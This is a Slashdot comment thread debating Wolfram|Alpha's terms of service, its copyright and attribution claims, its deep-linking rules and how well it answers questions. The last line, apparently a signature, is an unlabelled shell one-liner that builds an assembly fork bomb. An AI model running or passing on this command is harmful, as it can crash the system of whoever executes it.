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Wolfram|Alpha's Surprising Terms of Service
eldavojohn notes that Groklaw is highlighting the unexpected Wolfram|Alpha ToS — unexpected, that is, for those of us accustomed to Google's "just don't use it to break the law, please" terms. Nothing wrong with Wolfram setting any terms they like, of course. Just be aware. "We've seen people comparing Wolfram's Alpha to Google's Search from a technical standpoint but Groklaw outlined the legal differences in a post yesterday. Wolfram|Alpha's terms of use are completely different in that it is not a search engine; it's a computational service. The legalese says that they claim copyright on the each results page and require attribution. So for you academics out there, be careful. Groklaw notes this is interesting considering some of its results quote 2001: A Space Odyssey or Douglas Adams. Claiming copyright on that material may be a bold move. There's more: if you build a service that uses their service or deep-links to it, you may be facilitating your users to break their terms of use, and you may be held liable."
This is a British company (god save the Queen!) - aren't they talking about database rights? If so, I think they're not enforceable outside the EU.
"And the meaning of words; when they cease to function; when will it start worrying you?"
Gave wolfram alpha a spin today and found it extremely uninspiring. Given these ToS I doubt I will ever go back.
They aren't claiming ownership of the bits of data they provide, they're claiming copyright over the whole page. Sort of like how an encyclopedia will copyright the book even if it includes quotes from people. Basically over the presentation of the data.
Additionally much of what they would be claiming copyright over isn't subject to copyright protections. Things such as birth dates and astronomical data aren't subjected to copyright protection.
the legalese says that they claim copyright on the each results page and require attribution.
and that day appears a long way off, especially given the way they hyped it.
Besides, all their data comes from somewhere, and I don't see those attributions. And by all their data I mean symbolic integration, fractals, and Wolfram's formulation of a Turing machine which no one else uses.
I don't know what Alpha will be like in the future, but I was extremely disappointed in the present, and imagine Google^2 will make Alpha obsolete very soon anyway.
93rd rule of Slashdot: No matter how obvious my sarcasm is, my comment will be taken seriously by someone.
All they ask is that you attribute them when publishing results derived from their service. Example:
Methods: "The comparative population studies were derived from the Wolphram Alpha service (Wolphram, 2009)"
Regular thing for academics. I cite NCBI blast service, I cite PFAM, I cite dozens of other services out there. Most of these tools require or ask for an attribution; and in most cases, this is anyways necessary in a scientific procedure.
j.
They don't? All calculations generate the sources under the "Source information" link on each page.
Beware: In C++, your friends can see your privates!
Wolfram Alpha doesn't just provide you with knowledge. It provides you with a new kind of knowledge. Any knowledge you gain from it must be attributed to Stephen Wolfram ... because he invented it. It is actually safer to attribute all citations to Stephen Wolfram, in fact, because he is smarter than you.
Breakfast served all day!
Of course I can see them wanting to be attributed for calculations? But what's the problem with that? I *want* to see attribution when a blog, newspaper, or scientific report spits out a series of numbers anyway, especially if it involves something else than raw mathematics, like statistics. That's something I see as important as they can just as well demand it in my opinion. I consider it a service to me.
If there's something that annoy me, it's unsourced calculations. If it's attributed to WA, then I can at least use the same query on WA and in turn see what WA used as sources for that specific query (under the "source information" link at the bottom of each page)
Beware: In C++, your friends can see your privates!
I'm not sure how revolutionary Wolfram Alpha really is. But, if you've tried it, you'll have discovered that it's not a google alternative - It's not even trying to be. It's a completely different tool. It's kind of fun to tinker with, but I haven't decided yet how useful it will be.
And, just so that I can blatantly violate their TOS (which I've yet to read except for in TFS and I've not agreed to), here are the results for 2+2:
Input:
2+2
Result:
4
Number name:
four
Visual representation:
* * * *
He's getting rather old, but he's a good mouse.
It isn't a search engine; it doesn't search. I'm going to rip my face off if I hear another person refer to it as a search engine.
Come on man, you could at least feed it a useless and disgusting expression. That's its purpose ya?
http://www94.wolframalpha.com/input/?i=zeta(sin(atan(x^i)))
Always back up, never back down. ---- Think you're cool 'cos your uid is prime? Take mine, modulo the one digit integers
(c) Wolfram Alpha. From now on, I'm going to make sure that I attribute all failures to understand to Mr. Wolfram.
From scarped cliff or quarried stone she cries "A thousand types are gone, I care for nothing, no not one."
There are couple of really scary things in the terms of use. For instance, minors are not allowed to use the service without the permission of adults, and adults become fully responsible for the actions of the child. I am unsure of why they felt they had to put that in there. Then there is the first sentence "The Wolfram|Alpha service may be used only by a human being using a conventional web browser to manually enter queries one at a time". I hate to have to define what a conventional browser is. For may people it would be only IE.
More scare is the ambiguous policy to deep linking. To wit "It is not permitted to use Wolfram|Alpha indirectly through another website that has created a large number of deep links to Wolfram|Alpha, or that automatically constructs links based on input that you give on that site, rather than on Wolfram|Alpha. You may not in effect use Wolfram|Alpha through an alternate user interface presented by another website." Clearly they want to not have bots and third parties writing code to hijck the site. Disappointing given the wonderful work they did with Mathworld.
"She's a scientist and a lesbian. She's not going to let it slide." Orphan Black
Another cool thing, do a search for any website (here is slashdot for the click impaired). It comes up with an element hierarchy for the page. I'm not sure how useful it is, but it's pretty.
Qxe4
Hope they are not expecting to make any money by selling out their Customers at the drop of a hat.
How are people who show up to use a free service "customers?" Google's customers, for example, are their advertisers, not the people who use the free stuff.
Don't disappoint your bird dog. Go to the range.
If attribution is required because (according to the TOS):
In many cases the data you are shown never existed before in exactly that way until you asked for it, so its provenance traces back both to underlying data sources and to the algorithms and knowledge built into the Wolfram|Alpha computational system. As such, the results you get from Wolfram|Alpha are correctly attributed to Wolfram|Alpha itself.
Does that mean that Wolfram|Alpha can be sued for slander if its algorithm generates a false statement about some individual or corporation by "misunderstanding" the data it is digesting? In other words, if the result is something uniquely generated by Wolfram|Alpha, deserving of attribution in the same way that an author of a book deserves attribution, do they also deserve to be held liable if the content they are generating is incorrect or slanderous?
It'll solve differential equations.
Play Command HQ online
"Narrower terms: child pornography" Nice, Wolfram. Thanks.
I typed: airspeed velocity of a swallow
Input Interpretation: estimated average cruising airspeed of an unladen African swallow
Result: there is unfortunately insufficient data to estimate the velocity of an African swallow
(even if you specified which of the 47 species of swallow found in Africa you meant)
(asked of a general swallow (but not answered) in Monty Python's Holy Grail.)
Of course, now I know there are 47 species of swallow in Africa.
Input:
4/0
Result:
infinity^~
Oh noes, I broke their terms of service.
I innocently entered "Secant Tangent Cosine Sine 3.14159" into WolframAlpha. The result, 74.69263, now belongs to Wolfram. Sorry about that.
One digit short of a palindrome.
I note that Wolfram|Alpha happily deep-links to Google Maps.
Anybody who has used Wolfram's products, such as Mathematica, for more than a few versions, knows that they don't have, how shall I say this? a very enlightened view of the relationship between the party that sells a product and the party that buys that product.
In fact, their user agreements have always been among the very worst in the software industry, that is, if you happen to believe that the consumer has any rights at all beyond the right to give money to the vendor.
They've always been pretty hostile toward their customers.
You are welcome on my lawn.
How are people who show up to use a free service "customers?" Google's customers, for example, are their advertisers, not the people who use the free stuff.
They can both be considered customers. I'm Google's customer because I give them money; not directly, but through their advertising. Of course, that depends on the definition that you use for customer, but I'm giving Google something they want (pageviews and advertisement clicks) in exchange for them giving me something that I want (good search results). If we're not their customer, then we're very close. If I go to another site for my searches, then Google loses money.
Irony: Wikipedia calling your information service non-authoritative.
Welcome to the Panopticon. Used to be a prison, now it's your home.
Hell, my wife does that every day.
I'm supposed to be impressed because the people who sell Mathematica have figured out how to solve a differential equation? Call me when Wolfram Alpha can solve Schanuel's conjecture. Then, I'll be impressed.
I just asked Wolfram Alpha if every finitely presented periodic group was finite and it told me to go fuck myself.
You are welcome on my lawn.
Come on man, you could at least feed it a useless and disgusting expression.
If you feed it "goatse" it says it doesn't know what to do with your input. That's a vast improvement over Google.
This whole "new kind of [whatever]" meme might be really funny if it weren't so sad -- not because Wolfram doesn't really think he is smarter than almost everybody else (he does), but because - reportedly - he can't be prevailed upon to care about what most other people think, let alone how his choices might affect them:
I think Wolfram's attitude evokes pity, but indignation seems to be a far more common response. He should really consider working on (or, if he's already done so, promoting) A New Kind of Wolfram; he might find it a terrific challenge, but the new kind of Stephen would probably get more recognition than the old kind.
Well it claims to make information computable. I accept it's not meant to find results like Google but the issue with it is it doesn't even seem to gather basic data in a computable form.
I mean, you try things like "On what date did the Falklands war commence?", "How many species of Melocactus are there?", "On what date was Adolf Hitler born" and it outright fails.
Okay, so I figured maybe I'm asking questions that are out of the intended realm of knowledge it supports and the assumption is that you'd never want to compute with this information. So I tried something Mathematical - I mean, that is Wolfram's speciality right?
"How many non-isomorphic labelled trees are there with 4 vertices"
Fail.
I've tried a few other relevant, factual questions and it just falls flat over, not even able to try and answer them.
I'm sure it does do a great job of making information computable, the problem is it's unable to gather the information in the first place.
Ironically, Google, that doesn't claim to make information computable manage to provide answers for all these questions within it's first page, often as the first hit. Sure it may not be presented in a standardised format, but data that needs to be parsed is certainly more computable than data that simply can't be provided at all.
I can see what Wolfram was trying to do, but why did he have to couple it with immense hype that it's as important as Google? Why has he been going on and on about it to the media when it struggles to even do what it's supposed to absolutely excel at? I think they could've at least saved face if they'd stopped being so cocky about it and released it with a little less hype and fanfair and let it improve and become more useful and hence more greatly adopted over time. One has to ask when there was so much hype about it and with a ToS like this whether it was all just about Wolfram gathering data for himself or something than providing a tool useful to everyone else. Either that or he simply beleives his own hype and believes the tool is better than it really is. Perhaps in developing and using it himself he was blinded in making and seeing it work well for applications specific to what he wanted without ever truly seeing how well it performs in other problem domains?
Don't forget to put ©Wolfram Alpha at the bottom of your exam.
Yes, it does NOT search. But they sold it this way - or at least they played aggressively with the idea.
While creating PR buzz around it, they introduced it like "not a Google killer", when nobody had any idea what the thing was (so they could introduce the concept just the way they wanted to, and they explicitely chose to introduce the Google benchmark, even if to negate it.) And they obviously KNEW where this approach would have led to, in people's mind.
In other words. If I launch a new ecommerce platform and I create a buzz around "not an alternative to eBay", I am then driving on purpose people towards a comparison with eBay.
On top, on interviews I read, they toyed with "talks" they were supposedly having with "major search engines" (one was in the NYT).
So they get what they were fishing for...
"Whenever people agree with me I always feel I must be wrong." (Oscar Wilde)
Wolfram Alpha sucks anyways. Try looking for big tits on that site. Goes nowhere but the definition.
Man, you try too hard. I tried the simple "what time is it" and I got:
"Wolfram|Alpha isn't sure what to do with your input.Tips for good results Â"
Tips for good results: cut down the hype.
They don't identify the sources of particular facts used (for instance, if you ask for the population of a country, you'll get a Wolfram|Alpha "Primary Source" -- and a whole list of other sources that are generically root sources of population data.)
Meanwhile, if I ask Google for the population of a country, I get a numeric answer with a specific website that is the source of the information. (I point to that specific example because its one thing that has been repeatedly held up, I assume by people who have never actually used Google, as something that W|A is good at that Google can't do.)
When you ask W|A a fact question (as opposed to an abstract mathematical/logic question), you get some response, with no idea of how the response was derived or what actual source data was, in fact, used to derive it. That might be occasionally entertaining, but its pretty much useless for any serious purpose.
Well, after seeing this is I can understand their terms of service. You can't have a linear thought process to understand why they have the terms they do.
They're trying to corner the market on the semantic web. It's not the results that are technically all that interesting, it's how you can use those results that makes it worth money.
Google is for all intents and purposes a catalogue. It doesn't return any data (and as time has gone on returns fewer relevant search results).
W/A is returning data about data. This is where the internet gets interesting and they are trying to say they own the results they give you, which is not true but they do own the right to keep you from using those results without paying them a royalty on their service if they choose. Lexis Nexis does the same thing, basically.
"I don't want more choice, I just want nicer things!"
-Jennifer Saunders as Edina Monsoon
I also tried various approaches to things it *should* be good at, but once again, not very impressive. I first tried "transfer function zero order hold" and variations on that. I expected to get something like "(1-e^-st)/s" and some words or a derivation. Should be right up it's alley, but no, it just failed, no results at all. I typed in "(1-e^-st)/s" and got a series expansion of that, several graphs of debatable accuracy of value, but nothing like "this is the equation of a zero-order hold" or even a question about s, "do you mean s=jw" or anything like that. I don't need the series expansion and I certainly wouldn't trust Mathematica to do it if I did. I still have a pencil and paper. Maybe there's something I was doing wrong, but it didn't give me results I would have expected.
On the topic of the immense hype, uh, duh, it's Wolfram, legend in his own mind and self-declared smartest man in the world. I am sure if he reads this his first reaction will be that "you guys are too stupid to grasp the brilliance, I am casting pearls before swine, I'm going to demonstrate the unified field theory with cellular automata". Insufferable even from his press releases - which I might add is common among quasi-geniuses. I have worked with some of the guys who *invented* most of the ideas behind satellite design, true geniuses whose names will never be widely known outside a few buildings at Lockheed Sunnyvale due to the nature of their work. One thing in common - the true geniuses are a lot like Feynman, personable, can explain and are willing to explain exactly why it works to anyone. The wannabe geniuses are like Wolfram seems to be - insufferably arrogant pains in the ass. Of course I only know Wolfram from his press releases, so I am making an unfair analogy or extrapolation from past experience, but I did read and understand, to the extent necessary, his book.
Brett
You are making the easily understandable mistake of assuming that the "Source Information" link does, in fact, liest the sources of information used in the query. While you'd think that would be the case, if you actually read the disclaimer at the bottom of the popup list of sources, you would see that it specifically states that the information provided is "intended as a guide to sources of further information", and disclaims any necessary connection between the cited sources and any particular Wolfram|Alpha search result.
For wolfram alpha to be successful they will need to develop their natural language parsing abilities, it's not easy to do, each question may require individual interpretation. At this point using google is better for understanding more abstract concepts.
I've used wolfram alpha to help with my linear algebra homework for the past few days. Good info for checking my work. Matrix example
The best part is using it on a phone, it's made my G1 a more powerful calculator than my good ol TI-92.
More importantly, it completely fails at this question: http://www26.wolframalpha.com/input/?i=historical+popularity+trends+of+shaved+genitalia+in+pornography
I was looking forward to the graph too :-\
RUGBYRUGBYRUGBY
do a search for any website (here is slashdot for the click impaired)
Congratulations, but "deep linking", you've violated their terms of service.
Hmm, I guess I did too.
I wonder how they're gonna prosecute us, seeing as neither one of us was presented by so much as a "click-through" agreement.
Maybe someone needs to tell them that just saying something doesn't make it so.
Actually, one could argue that making money is the entire point of this ToS. They provide the service for free, while putting restrictions on reusing the data so that you have to buy a license/subscription/whatever in order to use it in a professional setting. Otherwise, it'd be a completely free service.
I've been to <redacted>. Used to be a great town, but now...
"It does not do to leave a live dragon out of your calculations, if you live near him." - Tolkien
Well it claims to make information computable. I accept it's not meant to find results like Google but the issue with it is it doesn't even seem to gather basic data in a computable form.
I mean, you try things like "On what date did the Falklands war commence?", "How many species of Melocactus are there?", "On what date was Adolf Hitler born" and it outright fails.
It has the data for two of those questions. It's just having trouble with the (somewhat odd and verbose) way that you asked them.
When did the Falklands war begin?
When was Hitler born?
It doesn't seem to know what to do with "on what date." That phrasing requires an understanding of the preposition 'on' in the abstract sense (instead of the 'physically on top of' sense) and knowledge that the phrase "what X" is meant to constrain the answer to the type X without otherwise modifying the question. Or specific knowledge that asking "what date" is the same as asking when.
Without understanding "what X" form it may have processed Hitler's birth into a date, then interpreted your question as "what date was the following date" (asking for the date of the date) instead of "what was the following date" (asking for the date directly). For example, it understands "what was January 1" and "when was January 1" but not "what date was January 1".
Also, it didn't understand the word "commence" as referring to the start of a war.
Okay, so I figured maybe I'm asking questions that are out of the intended realm of knowledge it supports and the assumption is that you'd never want to compute with this information. So I tried something Mathematical - I mean, that is Wolfram's speciality right?
"How many non-isomorphic labelled trees are there with 4 vertices"
Fail.
I've tried a few other relevant, factual questions and it just falls flat over, not even able to try and answer them.
I'm sure it does do a great job of making information computable, the problem is it's unable to gather the information in the first place.
It doesn't seem to know about trees or labels, but it knows about graphs:
How many graphs with four vertices are there?
It also won't do exhaustive searches through entire categories of knowledge to compute a result. It has to know how to figure it out directly. I think its main limitation is its intelligence, not how much data it has.
http://www.wolframalpha.com/input/?i=(sinc+(x)+*+sinc+(y))+
I'm sure you could do better if you had more time.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;